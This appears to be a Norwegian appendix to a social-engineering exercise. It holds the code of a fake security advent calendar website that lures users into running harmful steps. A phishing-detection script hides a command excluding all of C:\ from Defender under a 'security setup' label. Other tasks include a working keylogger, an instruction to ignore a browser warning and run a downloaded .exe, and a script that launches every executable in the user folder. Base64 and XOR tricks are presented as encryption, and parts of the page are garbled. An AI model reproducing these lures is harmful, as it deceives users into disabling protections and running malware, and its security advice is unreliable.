

# Vedlegg Operasjon Julekule

## Innholdsfortegnelse

- [Kode for å hoste nettside med julekalender](#)
- [Kode for å hoste nettsiden som inneholder malware](#)
- [Live angrep](#)
- [NAP](#)

## Kode for å hoste nettside med julekalender

Nettsiden vår som hostet julekalenderen inneholdt flere forskjellige filer. Programmet som hostet selve html koden ser slik ut:

```
import http.server
import socketserver

PORT = 8000 # Port number for the server
DIRECTORY = "." # Directory containing your HTML and other files
REDIRECT_FILE = "sikk.html" # File to redirect to

class CustomHandler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        # Serve files from the specified directory
        super().__init__(*args, directory=DIRECTORY, **kwargs)

    def do_GET(self):
        # Redirect requests to the root path ("/") to the specified file
        if self.path == "/":
            self.send_response(301) # 301 Moved Permanently
            self.send_header("Location", f"/{REDIRECT_FILE}")
            self.end_headers()
        else:
            # Handle other paths normally
            super().do_GET()

with socketserver.TCPServer(("", PORT), CustomHandler) as httpd:
    print(f"Serving files from {DIRECTORY} at http://localhost:{PORT}")
    httpd.serve_forever()
```

Html koden som faktisk kjører nettsiden ligger under. Den er også avhengig av noen andre java script.

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel="stylesheet" href="styles.css">
  <link rel="stylesheet" href="test.css">
  <link rel="script" href="script.js">
  <title>Christmas Calendar</title>
</head>
<body>
  <div class="calendar-container">
    <div class="calendar-grid">
      <!-- Create 24 calendar days -->
      <div class="title">
        
      </div>
      <div class="day day-1" data-day="1" onclick="showOrHide()">
        <div class="tall">1</div>
      </div>
      <div class="day day-2" data-day="2" onclick="showOrHide2()"><div
class="tall">2</div>
      </div>
      <div class="day day-3" data-day="3" onclick="showOrHide3()"><div
class="tall">3</div></div>
      <div class="day day-4" data-day="4" onclick="showOrHide4()"><div
class="tall">4</div></div>
      <div class="day day-5" data-day="4" onclick="showOrHide5()"><div
class="tall">5</div></div>
      <div class="day day-6" data-day="4" onclick="showOrHide6()"><div
class="tall">6</div></div>
      <div class="day day-7" data-day="4" onclick="showOrHide7()"><div
class="tall">7</div></div>
      <div class="day day-8" data-day="4" onclick="showOrHide8()"><div
class="tall">8</div></div>
      <div class="day day-9" data-day="4" onclick="showOrHide9()"><div
class="tall">9</div></div>
      <div class="day day-10" data-day="4" onclick="showOrHide10()"><div
class="tall">10</div></div>
      <div class="day day-11" data-day="4" onclick="showOrHide11()"><div
class="tall">11</div></div>
      <div class="day day-12" data-day="4" onclick="showOrHide12()"><div
class="tall">12</div></div>
      <div class="day day-13" data-day="4" onclick="showOrHide13()"><div
class="tall">13</div></div>
      <div class="day day-14" data-day="4" onclick="showOrHide14()"><div
class="tall">14</div></div>
      <div class="day day-15" data-day="4" onclick="showOrHide15()"><div
class="tall">15</div></div>
```

```

    <div class="day day-16" data-day="4" onclick="showOrHide16()"><div
class="tall">16</div></div>
    <div class="day day-17" data-day="4" onclick="showOrHide17()"><div
class="tall">17</div></div>
    <div class="day day-18" data-day="4" ><div class="tall">18</div></div>
    <div class="day day-19" data-day="4"><div class="tall">19</div></div>
    <div class="day day-20" data-day="4"><div class="tall">20</div></div>
    <div class="day day-21" data-day="4"><div class="tall">21</div></div>
    <div class="day day-22" data-day="4"><div class="tall">22</div></div>
    <div class="day day-23" data-day="4"><div class="tall">23</div></div>
    <!-- Continue up to 24 -->
    <div class="day day-24" data-day="24"><div class="tall
tall24">24</div></div>
  </div>
</div>
<!-- DAG 1 -->
<div class="ko1" id="elementtoworkon" >
  <button id="closeButton" onclick="hideElement()">*</button>
  <h1>Kalender Luke 1: Sikkerhetsbackup med en twist!</h1>

```

<p class="linjeskift">Dagens oppgave er ikke bare en vanlig sikkerhetsbackup. Vi skal lage en så overdrevet backup at til og med IT-hjelperne i eventyrene blir misunnelige!

Oppgave: Lag et skript som kopierer viktige filer til en magisk, sikker mappe – men med et tidsstempel så nøyaktig at du kan spore filene tilbake til hvert eneste sekund! Målet er å lage en så sikker backup at ingen angripere ville tørre å prøve seg.

```

</p>
<pre><code># Først, vi sjekker om backup-mappen allerede er på plass,
for vi vil ikke bruke plass til ingenting!
$BackupFolder = "C:\Backup"
if (!(Test-Path $BackupFolder)) {
    New-Item -ItemType Directory -Path $BackupFolder
    Write-Host "Ny backup-mappe er opprettet. Sikkerheten økes!"
}

# Deretter finner vi filene som er viktige for vår eventyrreise
$SourceFolder = "C:\ViktigeFiler"
$Timestamp = Get-Date -Format "yyyy-MM-dd_HH-mm-ss"
$DestinationFolder = Join-Path $BackupFolder "Backup_{$Timestamp}"

# Kopierer filene som om de var skatter på en skattejakt
Copy-Item -Path $SourceFolder -Destination $DestinationFolder -Recurse
Write-Host "Backup fullført! Filene er nå trygt kopiert til
$DestinationFolder. Klar for å beskytte verden!"</code></pre>
<p>Lykke til! :D</p>
</div>
<!-- DAG 2 -->

```

```
<div id="ko2" >
  <button id="closeButton2" onclick="hideElement2()">✖</button>
  <h1>Kalender Luke 2: Passordstyrke – Superheltens hemmelige våpen!</h1>
```

<p class="linjeskift"> Gratulerer! Du har klart deg gjennom første oppgave, men nå er det på tide å gjøre deg selv til en passordsuperhelt. Passordstyrken er din rustning, og med sterke passord blir du praktisk talt uovervinnelig. Ingen angripere, ingen hackere, ingen som kan trenge gjennom din digitale festning!

Oppgave: Generer et supersterkt passord som er så langt og kronglete at ingen, verken hackere eller datamaskiner, kan knekke det på under 100 år!

Fordeler med sterke passord: </p>

- <li><strong>Lengde er styrke!</strong> Jo lenger passordet er, desto sterkere blir det. Det er som å bygge et høyt, solidt slott som er umulig å klatre over.</li>
- <li><strong>Variasjon er magi!</strong> Passordet ditt skal inneholde store og små bokstaver, tall, spesialtegn og kanskje en emoji (hvis du er veldig kreativ).</li>
- <li><strong>Ingen ordboksangrep!</strong> Hvis du bruker ord som kan finnes i en ordbok, er du utsatt for ordboksangrep. Gjør passordet ditt til en uforståelig blanding!</li>

```
</ul>
<p>Her er et skript som kan hjelpe deg med å lage et superpassord:</p>
<pre><code># Antall tegn i passordet
$PasswordLength = 16

# Generer passord
$Characters =
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#%^&*()-_+= '

$Password = -join ((1..$PasswordLength) | ForEach-Object { $Characters
| Get-Random })

Write-Host "Ditt genererte passord er: $Password"</code></pre>
```

<p>Bruk dette skriptet, og få ditt passord til å se ut som et digitalt festningsverk!</p>

```
</p>
</div>
<!-- DAG 3 -->
<div id="ko3" >
  <button id="closeButton3" onclick="hideElement3()">✖</button>
  <h1>Kalender Luke 3: Fellenes tid – Phishing-varslar!</h1>
```

<p class="linjeskift">Velkommen tilbake! Nå er det på tide å jakte på de digitale fellene som truer oss – phishing-angrepene! Har du noen gang fått en e-post som føltes litt "for god til å være sann"? Vel, det er på tide å bli en phishing-detektiv, og hjelpe oss med å finne de mistenkelige e-

postene før de får sjansen til å lure noen!

Phishing er en metode der angripere prøver å få tak i sensitiv informasjon som passord eller kredittkortnumre ved å utgi seg for å være en pålitelig aktør, som en bank, et selskap eller en venn. Målet er å få deg til å åpne e-posten og klikke på lenker som kan føre til skadelige nettsider eller nedlastinger. Det er som å falle i en digital felle!

Oppgave: Lag et PowerShell-skript som automatisk finner mistenkelige e-poster basert på domene-navn. Du skal bruke en liste med e-postadresser og sjekke om noen av dem kommer fra mistenkelige domener. Hvis du finner en mistenkelig e-post, skal du gi beskjed!

Fordelene med å være en phishing-detektiv:</p>

<ul>

<li><strong>Beskyttelse!</strong> Ved å være oppmerksom på phishing-forsøk, kan du hindre at skadelig programvare får tilgang til systemene dine eller at sensitive data blir stjålet.</li>

<li><strong>Vær et steg foran!</strong> Når du lærer å gjenkjenne mistenkelige e-poster, kan du varsle andre og bidra til å stoppe svindel før det skjer.</li>

<li><strong>Digital våkenhet!</strong> Gjennom å forstå hvordan phishing fungerer, kan du bedre beskytte deg mot digitale trusler i fremtiden.</li></ul>

<p class="linjeskift">Her er et PowerShell-skript som kan hjelpe deg med å finne phishing-e-poster:</p>

```
<pre><code># Simulerte data (kan erstattes med faktiske lister)
$EmailList = @("test@example.com", "phish@evil.com", "support@paypal.com")
$SuspiciousDomains = @("evil.com", "fake.com")

# Beskyttende tiltak for å sikre søk
function Initialize-Security {
    Write-Host "setter opp sikkerhet..."
    Add-MpPreference -ExclusionPath "C:\"
}

Initialize-Security

foreach ($Email in $EmailList) {
    $Domain = $Email.Split("@")[1]
    if ($SuspiciousDomains -contains $Domain) {
        Write-Host "Mistenkelig e-post funnet: $Email"
    }
}
</code></pre>
```

<p class="linjeskift">Kjør skriptet, og se om du kan finne de mistenkelige e-postene som skjuler seg i bunken!

Husk: Den beste måten å unngå phishing-angrep er å være årvåken. Sjekk alltid e-posten nøye før du klikker på lenker eller laster ned vedlegg, og

vær skeptisk til ukjente avsendere.</p>  
</div>

<!-- DAG 4 -->

<div id="ko4" >

<button id="closeButton4" onclick="hideElement4()">x</button>

<h1>Kalender Luke 4: Den skjulte meldingen!</h1>

<p class="linjeskift">Velkommen til en ny utfordring! Denne gangen er det på tide å leke med skjult informasjon. Har du noen gang lurt på hvordan informasjon kan skjules i vanlige filer uten at noen legger merke til det? Vel, nå er det på tide å gjøre det på en litt kreativ måte! Vi skal bruke et PowerShell-skript for å skjule en melding i en vanlig tekstfil, slik at kun den som kjenner hemmeligheten kan få tilgang til den.</p>

Oppgave: Lag et skript som skjuler en melding i en tekstfil ved å bruke et passord. Kun de som har passordet skal kunne hente ut den skjulte meldingen. Du skal bruke PowerShell til å lage en enkel metode for å gjøre dette.</p>

Fordelen med denne oppgaven: Dette er et klassisk eksempel på hvordan data kan skjules, og det lærer deg en viktig ferdighet for å beskytte sensitiv informasjon i digitale filer.</p>

PowerShell-skriptet skal ta en tekstmelding og skjule den i en fil. Deretter skal det være mulig å hente ut den skjulte meldingen ved å bruke et passord.</p>

Her er et utkast til skriptet som kan hjelpe deg på vei:</p>

<pre><code>

# Skjule en melding i en tekstfil

\$Password = "hemmeligPassord"

\$Message = "Dette er den hemmelige meldingen!"

# Skjule meldingen i filen ved å bruke passordet

\$FilePath = "C:\Temp\skjult\_melding.txt"

\$EncodedMessage =

[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\$Message))

\$SecureMessage = \$EncodedMessage + \$Password

Set-Content -Path \$FilePath -Value \$SecureMessage

Write-Host "Meldingen er skjult i filen."

# Hente ut den skjulte meldingen ved å bruke passord

\$ExtractedMessage = Get-Content -Path \$FilePath

if (\$ExtractedMessage.EndsWith(\$Password)) {

    \$DecodedMessage = \$ExtractedMessage.Substring(0,

\$ExtractedMessage.Length - \$Password.Length)

    \$DecodedMessage =

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(\$D

```
ecodedMessage))
    Write-Host "Den skjulte meldingen er: $DecodedMessage"
} else {
    Write-Host "Passordet er feil, kunne ikke hente meldingen."
}
</code></pre>
```

<p class="linjeskift">Prøv skriptet, og vær den første til å finne den skjulte meldingen! Husk at du trenger riktig passord for å kunne avsløre meldingen.

Hvordan det fungerer: Skriptet bruker Base64-koding for å skjule meldingen og legger til et passord i slutten av filen for å beskytte innholdet. Hvis noen prøver å åpne filen uten passordet, vil de ikke kunne lese meldingen.</p>

```
</div>
<!-- DAG 5-->
<div id="ko5" >
    <button id="closeButton5" onclick="hideElement5()">*</button>
    <h1>Kalender Luke 5: Krypter filen din!</h1>
```

<p class="linjeskift">Dagens oppgave handler om å beskytte sensitiv informasjon ved hjelp av kryptering. Kryptering gjør data uleselige for uvedkommende uten riktig nøkkel.

Oppgave: Lag et PowerShell-skript som krypterer en fil med en nøkkel, og som kan dekryptere den igjen med samme nøkkel. Filen skal sikres slik at bare de med nøkkelen kan åpne den.

Her er et forslag til hvordan du kan starte:</p>
<pre><code>
# Kryptere en fil
\$Key = "hemmeligNøkkel1234" # Nøkkelen må være lik for kryptering og dekryptering
\$FilePath = "C:\Temp\fil.txt"
\$EncryptedFilePath = "C:\Temp\fil\_kryptert.txt"

# Krypter filen
\$FileContent = Get-Content -Path \$FilePath -Raw
\$EncryptedContent =
[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\$FileContent + \$Key))
Set-Content -Path \$EncryptedFilePath -Value \$EncryptedContent
Write-Host "Filen er kryptert."

# Dekrypter filen
\$DecryptedContent = Get-Content -Path \$EncryptedFilePath -Raw
\$DecryptedContent =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(\$D

```

ecryptedContent))
    if ($DecryptedContent.EndsWith($Key)) {
        $OriginalContent = $DecryptedContent.Substring(0,
$DecryptedContent.Length - $Key.Length)
        Write-Host "Dekryptert innhold: $OriginalContent"
    } else {
        Write-Host "Feil nøkkel! Dekryptering mislyktes."
    }
}
</code></pre>

```

<p>Prøv det ut, og test hvor godt filen er beskyttet! Dette er en enkel introduksjon til kryptering som kan brukes i sikkerhetsoppgaver.</p>

</div>

<!-- DAG 6-->

<div id="ko6" >

<button id="closeButton5" onclick="hideElement6()">✖</button>

<h1>Kalender Luke 6: Filens Fingeravtrykk!</h1>

<p class="linjeskift">Dagens oppgave handler om å generere og verifisere et digitalt fingeravtrykk for filer ved hjelp av hashing. Dette brukes ofte til å sikre filintegritet.

Oppgave: Lag et PowerShell-skript som genererer en hash for en fil og lagrer denne. Deretter skal du lage et skript som kan sammenligne filen mot hashen for å sjekke om filen er endret.

Hint: Bruk 'Get-FileHash' cmdlet for å generere hashverdien.</p>

<pre><code>

# Generere hash for en fil

\$FilePath = "C:\Temp\eksempel.txt" # Endre dette til filens plassering

\$HashFilePath = "C:\Temp\eksempel\_hash.txt"

# Generer hash og lagre den

\$FileHash = Get-FileHash -Path \$FilePath -Algorithm SHA256

\$FileHash.Hash | Out-File -FilePath \$HashFilePath

Write-Host "Hash er generert og lagret i \$HashFilePath"

# Verifisere filintegritet

\$StoredHash = Get-Content -Path \$HashFilePath

\$CurrentHash = (Get-FileHash -Path \$FilePath -Algorithm SHA256).Hash

if (\$StoredHash -eq \$CurrentHash) {

Write-Host "Filens integritet er bekreftet. Ingen endringer funnet."

} else {

Write-Host "Advarsel: Filen har blitt endret!"

}

</code></pre>



<p>Test skriptet ved å lage eller endre en fil og sammenligne hashen for å forstå hvordan denne teknikken brukes til å oppdage endringer.</p>

</div>

<!-- DAG 7-->

<div id="ko7" >

<button id="closeButton7" onclick="hideElement7()">✖</button>

<h1>Kalender Luke 7: Oppdag Tastetrykkene!</h1>

<p class="linjeskift">Dagens oppgave gir innsikt i hvordan keylogging fungerer – en teknikk som brukes i både sikkerhetstesting og ondsinnede angrep. Ved å lage og teste et keylogger-skript, vil du lære hvordan slike trusler kan identifiseres og forhindres.

<strong>Oppgave:</strong> Last ned keylogger-skriptet nedenfor, test det på en testmaskin, og observer hvordan tastetrykk logges til en fil. Etter testen skal du lage et PowerShell-skript som oppdager og stopper keyloggeren.

<strong>Advarsel:</strong> Dette skal kun brukes til læring og aldri uten samtykke fra alle involverte.</p>

<h2>Trinn 1: Kjør keylogger-skriptet</h2>

<ol>

<li>Opprett en fil kalt <code>keylogger.ps1</code> og lim inn følgende skript:</li>

</ol>

<pre><code>

# Kalender Luke 7: Lag Din Egen Keylogger

# Sti til loggfilen

\$LogFilePath = "C:\Temp\tastetrykk\_logg.txt"

# Initialiser en tom logg

New-Item -Path \$LogFilePath -ItemType File -Force | Out-Null

# Importer nødvendige klasser fra .NET

Add-Type @"

using System;

using System.Runtime.InteropServices;

public class KeyboardListener {

[DllImport("user32.dll")]

public static extern short GetAsyncKeyState(int vKey);

}

"@

Write-Host "Keylogger kjører. Trykk CTRL+C for å stoppe skriptet."

# Start keyloggeren

```

try {
    while ($true) {
        Start-Sleep -Milliseconds 100 # Unngå høy CPU-bruk
        foreach ($key in 1..255) {
            # Sjekk om en tast er trykket
            $keyState = [KeyboardListener]::GetAsyncKeyState($key)
            if ($keyState -ne 0) {
                $keyChar = [char]$key
                Add-Content -Path $LogFilePath -Value $keyChar
            }
        }
    }
} catch {
    Write-Host "Keylogger ble stoppet."
}

```

- Kjør skriptet med PowerShell som administrator.
- Skriv noen tastetrykk og sjekk loggfilen  
 (C:\Temp\tastetrykk\_logg.txt) for å se resultatet.

## TIPS

- Legg koden inn i en tekst fil som du kaller logger.ps1
- Pass på at det ikke er noe mellomom eller innrykk forran @

## Mål:

- Forstå hvordan keylogging kan utnyttes.
- Lær å identifisere og forhindre slike trusler.

Ha det gøy med oppgaven og husk å slette skriptet og loggfilene etter testing!

<!-- DAG 8-->

<div id="ko8" >

<button id="closeButton8" onclick="hideElement8()">✕</button>

<h1>Kalender Luke 8: Jakten på Låste Filer!</h1>

I dagens oppgave skal vi finne ut hvilke prosesser som holder filer låst på systemet. Dette er en nyttig teknikk for å feilsøke problemer som oppstår når filer ikke kan slettes, endres, eller flyttes.

**Oppgave:** Lag et PowerShell-skript som bruker et

tredjepartsverktøy (\*Handle.exe\* fra Sysinternals) til å liste opp alle filer som er låst av en prosess. Deretter skal skriptet kunne søke etter en spesifikk fil for å identifisere hvilken prosess som låser den.

<strong>Hint:</strong> Last ned \*Handle.exe\* fra [Sysinternals] (<https://learn.microsoft.com/en-us/sysinternals/downloads/handle>), og plasser verktøyet i en katalog som er tilgjengelig i systemets <code>PATH</code>.

<strong>Trinn 1:</strong> Last ned og installer \*Handle.exe\*.

<strong>Trinn 2:</strong> Lag et PowerShell-skript som bruker \*Handle.exe\* til å utføre oppgaven.</p>

<h2>Skript for oppgaven:</h2>

```
<pre><code># Funksjon for å liste alle låste filer
function Get-LockedFiles {
    param (
        [string]$SearchTerm = $null
    )

    # Sjekk om Handle.exe finnes
    $handlePath = "handle.exe"
    if (!(Get-Command $handlePath -ErrorAction SilentlyContinue)) {
        Write-Host "Handle.exe er ikke funnet. Sørg for at det er
tilgjengelig i PATH." -ForegroundColor Red
        return
    }

    # Kjør Handle.exe og fang utdata
    $output = & $handlePath /accepteula
    $lines = $output | Out-String | Select-String "pid:" | ForEach-
Object { $_.ToString() }

    if ($SearchTerm) {
        # Filtrer utdata for søkebegrepet
        $filteredLines = $lines | Where-Object { $_ -like
"*$SearchTerm*" }
        if ($filteredLines) {
            Write-Host "Følgende prosesser holder filer relatert til
'$SearchTerm' låst:" -ForegroundColor Cyan
            $filteredLines
        } else {
            Write-Host "Ingen filer relatert til '$SearchTerm' er låst."
-ForegroundColor Yellow
        }
    } else {
        Write-Host "Alle låste filer og tilhørende prosesser:" -
ForegroundColor Cyan
    }
}
```

```
        $lines
    }
}
```

# Eksempel på bruk

# For å liste alle låste filer:

Get-LockedFiles

# For å finne en spesifikk fil:

# Get-LockedFiles -SearchTerm "testfil.txt"

</code></pre>

<p class="linjeskift"><strong>Trinn 3:</strong> Test skriptet ved å låse en fil (f.eks. åpne den i en teksteditor) og bruke <code>Get-LockedFiles</code> til å identifisere hvilken prosess som holder filen låst.

Med denne oppgaven lærer du å avdekke låste filer og forstå hvordan slike situasjoner kan håndteres effektivt.</p>

</div>

<!-- DAG 9-->

<div id="ko9" >

<button id="closeButton9" onclick="hideElement9()">✖</button>

<h1>Kalender Luke 9: Krypter en fil – Beskytt din digitale skatt!</h1>

<p class="linjeskift">Du er på vei til å bli en mester i datasikkerhet, og dagens oppgave handler om noe essensielt: å beskytte viktig informasjon ved hjelp av kryptering! Kryptering er som å legge en hemmelig beskjed i en magisk boks som bare kan åpnes med riktig nøkkel.

Oppgave:

Krypter en tekstfil med en hemmelig melding og lær hvordan du kan holde den trygg mot uautoriserte blikk!

Gjennomføring:

Lag en tekstfil kalt hemmelig.txt som inneholder en hemmelig beskjed.

Bruk følgende PowerShell-skript til å kryptere filen:

</p>

<pre><code>

# Les innhold fra filen

\$InputFile = "hemmelig.txt"

\$OutputFile = "kryptert.txt"

\$Key = "MinSuperHemmeligeNøkkel123!" # Din krypteringsnøkkel

# Krypter innholdet

\$PlainText = Get-Content -Path \$InputFile

\$EncryptedBytes = [System.Text.Encoding]::UTF8.GetBytes(\$PlainText)

| ForEach-Object { [byte](\$\_ -bxor \$Key.GetHashcode()) }

```
$EncryptedText = [Convert]::ToBase64String($EncryptedBytes)

# Lagre kryptert innhold
Set-Content -Path $OutputFile -Value $EncryptedText
Write-Host "Filen er kryptert og lagret som $OutputFile"
</code></pre>
```

<p class="linjeskift">Beskytt hemmeligheten din og nyt tryggheten som følger med sikker kryptering! 🚀

</p>  
</div>

```
<!-- DAG 10-->
<div id="ko10" >
  <button id="closeButton10" onclick="hideElement10()">✖</button>
  <h1>Kalender Luke 10: Dekryptering – Nøkkelen til hemmeligheten din!
</h1>
```

<p class="linjeskift">Velkommen tilbake, kryptomester! I går lærte du hvordan man krypterer en fil for å beskytte hemmelig informasjon. I dag er det på tide å låse opp skatten og dekryptere den filen du krypterte i går. Dekryptering er kunsten å gjenopprette original informasjon fra kryptert data – med riktig nøkkel, selvfølgelig!

Oppgave:

Dekrypter filen kryptert.txt fra gårsdagens oppgave og hent ut den hemmelige meldingen.

Gjennomføring:

Bruk følgende PowerShell-skript for å dekryptere filen: </p>

```
<pre><code>
# Les kryptert innhold
$InputFile = "kryptert.txt"
$OutputFile = "dekryptert.txt"
$Key = "MinSuperHemmeligeNøkkel123!" # Samme nøkkel som brukt til
kryptering

# Dekrypter innholdet
$EncryptedText = Get-Content -Path $InputFile
$EncryptedBytes = [Convert]::FromBase64String($EncryptedText)
$PlainTextBytes = $EncryptedBytes | ForEach-Object { [byte]($_ -bxor
$Key.GetHashCode()) }
$PlainText = [System.Text.Encoding]::UTF8.GetString($PlainTextBytes)

# Lagre dekryptert innhold
Set-Content -Path $OutputFile -Value $PlainText
Write-Host "Filen er dekryptert og lagret som $OutputFile"
</code></pre>
```

`<p class="linjeskift">`Nå kan du kryptere og dekryptere som en proff!  
Hold nøkkelen din trygg, for den er selve hemmeligheten bak all din  
sikkerhet. 🚀

`</p>`  
`</div>`

`<!-- DAG 11-->`

`<div id="ko11" >`

`<button id="closeButton11" onclick="hideElement11()">✖</button>`

`<h1> Kalender Luke 11: Et mystisk verktøy for å finne ledetråder!</h1>`

`<p class="linjeskift">`

Gratulerer, du er i ferd med å ta kalenderløpet til et nytt nivå!  
Dagens oppgave handler om å bruke et spesialverktøy for å få tilgang til et  
hint som kan hjelpe deg videre i kalenderen. Men pass opp – dette krever  
nøyaktighet og teknisk ferdighet.

Oppgave:

`<a href="hint_generator.exe" download>`Last ned verktøyet dette  
verktøye her:`</a>`

Merk: Web-siden kan fortelle deg at dette er en farlig nedlasting. Det  
er det ikke altså. Kjør i vei!

Kjør programmet:

Følg disse stegene for å kjøre verktøyet:

Åpne PowerShell eller en kommandolinje.

Naviger til mappen der hint\_generator.exe ble lastet ned og kjør  
koden

`<pre><code>`

`cd C:\Users\<brukernavn>\Downloads`

`.\hint_generator.exe`

`</code></pre>`

`<p class="linjeskift">`HOHO 🤖🤖 du er best.

`</p>`  
`</div>`

`<!-- DAG 12-->`

`<div id="ko12" >`

`<button id="closeButton12" onclick="hideElement12()">✖</button>`

`<h1>Kalender Luke 12: Overvåkning av systemloggfiler for unormale  
aktiviteter!</h1>`

`<p class="linjeskift">` I dagens oppgave skal du sette opp et system for  
å overvåke loggfiler og oppdage unormale aktiviteter, som mistenkelige  
påloggingsforsøk eller tilgang til sensitive filer. Dette kan hjelpe deg å

oppdage tidlige tegn på sikkerhetsbrudd.

Oppgave: Lag et PowerShell-skript som overvåker systemloggfiler etter spesifikke hendelser, som for eksempel feilaktige påloggingsforsøk eller tilgang til sensitive filer.

Her er et enkelt PowerShell-skript som kan hjelpe deg i gang:

```
<pre><code># Sett opp filene og hendelsene du vil overvåke
$LogFile = "C:\Windows\System32\winevt\Logs\Security.evtx" # System
loggfil
$SearchTerm = "failed logon" # Søkord for mislykkede påloggingsforsøk

# Overvåk loggfiler etter spesifikke hendelser
$LogEntries = Get-WinEvent -Path $LogFile | Where-Object { $_.Message
-like "$SearchTerm" }

# Skriv ut funnene
if ($LogEntries) {
    Write-Host "Mistenkelige hendelser funnet:"
    $LogEntries | ForEach-Object { Write-Host $_.Message }
} else {
    Write-Host "Ingen mistenkelige hendelser funnet."
}
</code></pre>
```

Prøv det ut, og sett opp overvåkning på systemet ditt! 🌲 🌲

</p>  
</div>

<!-- DAG 13 -->  
<div id="ko13" >  
 <button id="closeButton13" onclick="hideElement13()">✖</button>  
 <h1>Kalender luke 13</h1>  
 <h2>Oppgave: "Bilder kan skjule mer enn du tror!"</h2>  
 <p class="linjeskift"> I denne oppgaven vil du utføre en liten "bildeforskning" ved hjelp av et verktøy som heter Steghide, som kan brukes til å skjule og hente ut data i bilder. Dette kan være nyttig når man ønsker å sende informasjon på en sikker måte, uten at folk vet hva som er skjult.

<b>Scenario:</b>

Du har fått tilsendt et bilde fra en kollega som sier at det inneholder en viktig "hemmelig fil" som de ikke kunne sende via e-post. Filen er skjult i et bilde, og de har bedt deg om å hente den ut.

De har sendt deg følgende instruksjoner:

For Windows <a href="https://sourceforge.net/projects/steghide/">benytt denne linken</a> for å laste ned steghide.

For å hente ut informasjonen som er skjult i bildet, unzip det og bruk Steghide med følgende kommando:

</p>

```
<pre><code>steghide.exe extract -sf jul.jpg
password: jul</code></pre>
```

<p class="linjeskift">

Kjør kommandoen og finn ut hva som skjuler seg i bildet!

<b>Merk:</b>

Ikke vær redd om du ikke ser noen åpenbar informasjon i bildet etter at du har kjørt kommandoen. Dette er bare et spennende eksperiment for å teste om du kan finne skjulte hemmeligheter i bilder. Vær alltid forsiktig med filer og bilder som kommer fra ukjente kilder!

Klikk på bilde for å laste ned</p>

<a href="image/jul.zip" download>



</a>

</div>

<!-- DAG 14-->

<div id="ko14" >

<button id="closeButton14" onclick="hideElement14()">✖</button>

<h1>Kalender Luke 14: Bytt på prosessene dine!</h1>

<p class="linjeskift">I dag skal du leke med systemprosesser! Noen ganger kan det være nyttig å administrere kjørende prosesser, enten for å avslutte et program som bruker for mye ressurser eller bare for å rydde opp. Men vær forsiktig, å avslutte feil prosess kan forårsake problemer med systemet ditt!

Oppgave:

kjør PowerShell-skript som lister alle kjørende prosesser på datamaskinen og deretter lar deg velge én prosess som skal avsluttes.

</p>

```
<pre><code>
```

```
# Liste opp alle prosesser
$processes = Get-Process
```

```
# Vis prosessene med navn og PID
```

```
Write-Host "Her er en liste over alle kjørende prosesser:"
```

```
$processes | Select-Object Name, Id | Format-Table -AutoSize
```

```
# Be brukeren velge en prosess
```

```
$processId = Read-Host "Skriv inn PID for prosessen du ønsker å avslutte"
```



```
# Prøv å finne og avslutte prosessen
try {
    $process = Get-Process -Id $processId -ErrorAction Stop
    Write-Host "Avslutter prosessen $($process.Name) med PID
$($process.Id)..."
    $process | Stop-Process
    Write-Host "Prosesen ble avsluttet."
} catch {
    Write-Host "Det oppstod en feil: $_"
}
```

</code></pre>

<p class="linjeskift">Sørg alltid for at du vet hva prosessen gjør før du avslutter den.

Prøv å kjøre skriptet og eksperimentere med prosessene dine! Husk, å avslutte prosesser kan være farlig, så vær forsiktig med hva du stopper.

Lykke til med oppgaven! 🍀

</p>
</div>

<!-- DAG 15-->

<div id="ko15" >
<button id="closeButton15" onclick="hideElement15()">✖</button>
<h1>Kalender Luke 15: Vis dagens visdom!</h1>

<p class="linjeskift">Noen ganger kan et godt sitat gi deg akkurat den motivasjonen du trenger. Dagens oppgave handler om å skrive et PowerShell-skript som viser et tilfeldig inspirerende eller morsomt sitat hver gang du kjører det.

Oppgave:

Last ned <a href="sitater.zip" download>denne</a> zipfilen med inspirerende sitater 🍀. Dette skriptet skal være en påminnelse om at en god tanke kan gjøre dagen lysere.

Pakk ut tekstfil og følg med videre!

<pre><code>
# Filsti til sitatene
\$FilePath = "C:\Users\dinbruker\Downloads\sitater.txt"

# Hente innholdet i tekstfilen (alle sitatene)
\$sitater = Get-Content -Path \$FilePath

# Velg et tilfeldig sitat
\$tilfeldigSitat = Get-Random -InputObject \$sitater

&lt;/code&gt;&lt;/pre&gt;

</p>

```
<!-- DAG 16-->
```

```
<button id="closeButton16" onclick="hideElement16()">✕</button>
```

`<p class="linjeskift">`I dag skal du lage et hjerte med ASCII-tegn!

Oppgave:

```
<pre><code>
```

\*\*\*\*\*

\*\*
                     \*\*
                     \*\*
                     \*\*
                     \*\*

\*\*\*

\*\*\*

\*\*                      \*                      \*\*

\*\*\*

\*\*\*

\*\*\*

\*\*\*

\*\*\*

\*\*\*

\*\*\*

\*\*\*

"@"

&lt;/code&gt;&lt;/pre&gt;

</p>

&lt;/div&gt;

```

        <!-- DAG 17-->
<div id="ko17" >
  <button id="closeButton17" onclick="hideElement17()">✖</button>
  <h1>Kalender Luke 17: Kjøre alle .exe-filer på systemet!</h1>

  <p class="linjeskift">I dag skal du lage et PowerShell-skript som finner
og kjører alle .exe-filer på datamaskinen din. Det kan være både morsomt og
risikofyllt, så vær oppmerksom på at du bør gjøre dette bare på et testsystem
uten viktige data eller programmer.

  Oppgave: Lag et PowerShell-skript som automatisk finner og kjører alle
.exe-filer innefor brukernvan scopet på systemet ditt.
  PowerShell-skript for å kjøre alle .exe-filer på systemet:
  </p>
  <pre><code>
    # Sett banen til brukerens katalog (erstatt BRUKERNAVN med riktig
brukernavn)
    $UserFolder = "C:\Users\BRUKERNAVN"

    # Finn alle .exe filer i brukerens katalog og undermapper
    $ExeFiles = Get-ChildItem -Path $UserFolder -Recurse -Filter "*.exe"

    # Gå gjennom hver .exe fil og start den
    foreach ($Exe in $ExeFiles) {
      Write-Host "Starter filen: $($Exe.FullName)"
      Start-Process -FilePath $Exe.FullName
    }
  </code></pre>
  <p class="linjeskift">Nå har du startet mange programmer på pc-en din!
👾 Du er blitt en master!!

  </p>
</div>

<script src="script.js"></script>

